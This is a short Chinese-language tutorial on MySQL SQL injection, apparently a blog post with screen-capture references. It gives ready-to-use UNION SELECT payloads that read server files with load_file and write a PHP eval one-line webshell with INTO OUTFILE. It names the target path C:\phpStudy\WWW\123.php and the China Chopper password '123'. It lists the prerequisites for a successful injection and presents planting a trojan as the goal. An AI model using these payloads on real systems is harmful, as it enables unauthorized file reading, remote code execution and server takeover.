前提必要条件
- 需要数据库开启secure_file_priv 就是将secure_file_priv的值为空,不为空不充许写入webshell (默认不开启,需要修改mysql配置文件mysql.ini或者叫my.ini配置文件)
- 需要知道远程目录
- 需要远程目录有写权限
- 需要mysql root权限
开启secure_file_priv 参数,操作看动图:
读取文件
读取文件肯定是要知道,文件路径的,不知道的话就找已公布的中间件配置文件地址等
union select 1,load_file('文件路径') -- bbq
例如读取虚拟机的 boot.ini 文件:
union select 1,load_file('c:\\boot.ini') -- bbq
操作看动图:
写入文件
一般就写一个菜刀之类的小马,然后用用菜刀连接
union select "木马语句",2 into outfile "上传服务器文件路径" -- bbq
例如:我写入一菜刀一句话小马 文件 到 C:\phpStudy\WWW\123.php 目录下
union select "<?php @eval($_POST['123']);?>",2 into outfile "C:\\phpStudy\\WWW\\123.php" -- bbq
操作看动图:
<?php @eval($_POST['123']);?> 菜刀一句话密码 123